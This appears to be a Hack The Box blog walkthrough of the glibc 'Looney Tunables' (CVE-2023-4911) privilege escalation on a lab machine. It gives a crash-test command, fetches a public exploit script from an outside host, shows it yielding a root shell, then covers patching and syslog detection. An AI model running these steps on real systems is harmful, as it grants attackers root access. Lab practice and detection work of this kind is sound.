On October 3, 2023, Qualys announced their discovery of CVE-2023-4911, otherwise known as Looney Tunables. The local privilege escalation vulnerability impacts the default installations of most major Linux distributions.
In this post, we’ll give a quick overview of the vulnerability and walk through how you can practice exploiting it on Hack The Box (HTB).
The Looney Tunables vulnerability is a buffer overflow in the GNU C library’s dynamic loader. The GNU C library (commonly referred to as glibc) is a foundational component of most Unix operating systems.
As a library, it is loaded by other programs and provides functions to handle all sorts of functionality, such as memory allocation, file input and output, string manipulations, mathematical operations, etc.
The dynamic loader is a binary typically located at /lib/ld-linux-x86-64.so.2. It runs when a program is initiated and is responsible for identifying which libraries are required by the binary, loading those into process memory, and making sure any references are updated to point to the correct addresses in memory.
The dynamic loader uses the GLIBC_TUNABLES environment variable to allow the user to specify certain “tunable” configuration values when the program is run. For example:
This would set the maximum memory usage to 64MB and the CPU affinity (related to which processor core the program should try to run on) to core 0. On a system with glibc 2.33 or greater, the full list of tunables on your system can be shown by running:
The vulnerability, in this case, is abused by configuring a maliciously crafted environment (including the GLIBC_TUNABLES variable) such that it causes a buffer overflow in the dynamic loader. This overflow can be controlled to get arbitrary execution and return a shell. If the binary being loaded is running with root privileges (such as a SetUID program), then the resulting shell will also have root privileges.
Note💡: It's worth mentioning that the attacker does not know exactly where in memory this overflow occurs. Therefore, typical techniques for exploiting the vulnerability involve running it multiple times over the course of many minutes until successful exploitation occurs and a shell is returned.
The TwoMillion machine is vulnerable to Looney Tunables, and is available to play on Hack The Box right now. If you’re interested in trying on your own without a full walkthrough, there are additional Guided Mode questions at the end of the original ones that specifically focus on looking at Looney Tunables.
Note💡: To skip to the privilege escalation in this machine, feel free to use:
As the vulnerability is only a week old, new proof of concept (POC) exploits are still being released. At this point, the exploit I’ve had the most success with is from Twitter user, bl4sty:
It provides a Python script that will:
Generate a patched version of glibc that runs a shell on being loaded.
Setup the environment to enable the overflow.
Execute a SetUID binary su repeatedly until a shell is returned.
I’ll SSH into the box as the admin user:
oxdf@hacky$ sshpass -p SuperDuperPass123 ssh [email protected] Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64) …[snip]... admin@2million:~$
I’ll add the 2million.htb domain into my /etc/hosts file, or you could use the IP of your target instead if you’d rather. I’m also using the sshpass program to include the password on the command line. This is typically very bad practice in production environments, but it works nicely for taking notes on HTB challenges.
To check if the box is vulnerable, I can run the following command:
admin@2million:~$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help Segmentation fault (core dumped)
The segfault indicates that it _is_ vulnerable.
I’ll save a copy of gnu-acme.py in my VM, and scp it to TwoMillion:
oxdf@hacky$ wget https://haxx.in/files/gnu-acme.py --2023-10-10 11:14:23-- https://haxx.in/files/gnu-acme.py Resolving haxx.in (haxx.in)... 188.8.131.52 Connecting to haxx.in (haxx.in)|184.108.40.206|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 11759 (11K) [text/x-python] Saving to: ‘gnu-acme.py’ gnu-acme.py 100%[========================================>] 11.48K --.-KB/s in 0.1s 2023-10-10 11:14:26 (89.0 KB/s) - ‘gnu-acme.py’ saved [11759/11759] oxdf@hacky$ sshpass -p SuperDuperPass123 scp gnu-acme.py [email protected]:~/
I’ll then run the script. It locates the libc binary and, once loaded, gets the build ID, creates a folder named ”, and writes a patched libc into that path:
admin@2million:~$ python3 gnu-acme.py $$$ glibc ld.so (CVE-2023-4911) exploit $$$ -- by blasty <[email protected]> -- [i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = 61ef896a699bb1c2e4e231642b2e1688b2f1a61e [i] __libc_start_main = 0x29dc0 [i] using hax path b'"' at offset -20 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c
Then it starts trying to exploit, showing "." characters along the bottom to show failed attempts. This typically takes a long time, depending on the host hardware and configuration. On TwoMillion, I’ve had it run as fast as five minutes, and as long as over 30. After several minutes, it messages that it has a shell:
[i] using hax path b'"' at offset -20 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c ................................................................................................................................................................................................................... ............................................# ** ohh... looks like we got a shell? **
There’s no prompt (or, it is present before the “ohh” text). Still, entering a command works, and then a new prompt appears:
id uid=0(root) gid=1000(admin) groups=1000(admin) #
To protect a system against this local privileges escalation attack, update to the latest libc version.
There are a couple different strategies to detect Looney Tunables attacks. Just as new POCs are still surfacing every day, vendors are deploying and/or releasing detection rules as well.
Because many POCs are invoking the su binary (though most SetUID binaries would work), some detections for su brute force attacks will trigger when this exploit is run.
If you have a system that is configured to log environment variables, this would be very easy to detect. However, it is not common to configure systems in this way, as secrets are often stored in environment variables, and you wouldn’t want to log them.
Another way to identify this attack is to look for crashing SetUID binaries, especially if it happens a lot within a short period of time. These events can be seen in /var/log/syslog:
root@2million:/var/log# tail syslog Oct 10 12:54:49 localhost kernel: [278208.489198] su: segfault at 7ffe10101014 ip 00007f88db0b19de sp 00007fff3f892fd0 error 4 in ld-linux-x86-64.so.2[7f88db0ab000+2a000] Oct 10 12:54:49 localhost kernel: [278208.489213] Code: 48 c7 83 c0 03 00 00 ff ff ff ff 48 85 c0 0f 84 fd 00 00 00 48 8b 53 68 48 8b 72 08 31 d2 f6 83 1e 03 00 00 20 74 03 48 8b 13 <48> 03 70 08 48 8d bb 30 03 00 00 48 8d 0d c8 53 02 00 48 01 d6 48 Oct 10 12:54:49 localhost kernel: [278208.868410] su: segfault at 7ffe10101014 ip 00007fbf48f489de sp 00007fffe5b0c510 error 4 in ld-linux-x86-64.so.2[7fbf48f42000+2a000] Oct 10 12:54:49 localhost kernel: [278208.868424] Code: 48 c7 83 c0 03 00 00 ff ff ff ff 48 85 c0 0f 84 fd 00 00 00 48 8b 53 68 48 8b 72 08 31 d2 f6 83 1e 03 00 00 20 74 03 48 8b 13 <48> 03 70 08 48 8d bb 30 03 00 00 48 8d 0d c8 53 02 00 48 01 d6 48 Oct 10 12:54:49 localhost kernel: [278209.373393] su: segfault at 7ffe10101014 ip 00007f2f6fda69de sp 00007ffead726f20 error 4 in ld-linux-x86-64.so.2[7f2f6fda0000+2a000] Oct 10 12:54:49 localhost kernel: [278209.373408] Code: 48 c7 83 c0 03 00 00 ff ff ff ff 48 85 c0 0f 84 fd 00 00 00 48 8b 53 68 48 8b 72 08 31 d2 f6 83 1e 03 00 00 20 74 03 48 8b 13 <48> 03 70 08 48 8d bb 30 03 00 00 48 8d 0d c8 53 02 00 48 01 d6 48 Oct 10 12:54:50 localhost kernel: [278209.839238] su: segfault at 7ffe10101014 ip 00007f5dbac949de sp 00007ffd41a90f70 error 4 in ld-linux-x86-64.so.2[7f5dbac8e000+2a000] Oct 10 12:54:50 localhost kernel: [278209.839258] Code: 48 c7 83 c0 03 00 00 ff ff ff ff 48 85 c0 0f 84 fd 00 00 00 48 8b 53 68 48 8b 72 08 31 d2 f6 83 1e 03 00 00 20 74 03 48 8b 13 <48> 03 70 08 48 8d bb 30 03 00 00 48 8d 0d c8 53 02 00 48 01 d6 48 Oct 10 12:54:50 localhost kernel: [278210.360589] su: segfault at 7ffe10101014 ip 00007ffa1768d9de sp 00007ffc1c9d96a0 error 4 in ld-linux-x86-64.so.2[7ffa17687000+2a000] Oct 10 12:54:50 localhost kernel: [278210.360613] Code: 48 c7 83 c0 03 00 00 ff ff ff ff 48 85 c0 0f 84 fd 00 00 00 48 8b 53 68 48 8b 72 08 31 d2 f6 83 1e 03 00 00 20 74 03 48 8b 13 <48> 03 70 08 48 8d bb 30 03 00 00 48 8d 0d c8 53 02 00 48 01 d6 48
There are segfault events in a SetUID binary (su) in the loader (ld-linux-x86-64.so). That’s a great signal for Looney Tunables exploitation.
Play TwoMillion now
TwoMillion is an Easy difficulty Linux box that was released to celebrate reaching 2 million users on Hack The Box. The box features an old version of the HTB platform that includes the old hackable invite code and allows you to practice the exploitation of CVE-2023-4911 and CVE-2023-0386.
David Forsythe (0xdf), Training Lab Architect, Hack The Box
David Forsythe is a CTF addict and cybersecurity professional with over 18 years of experience in infosec. He's worked in SOC/CIRT, threat intelligence, red teaming, and threat research. David holds several certifications, including OSCP, GXPN, GDAT, GREM, GCFA, GCFE.
Outside of helping HTB design cutting-edge cybersecurity content, he enjoys sharing knowledge and developing his skills alongside others through his blog (0xdf hacks stuff), where he posts write-ups of exciting hacking challenges and real-world scenarios and his YouTube channel, where he dives deep into exploit/malware analysis. Feel free to connect with him on LinkedIn.
ltnbob, Nov 28, 2023
b3rt0ll0, Nov 24, 2023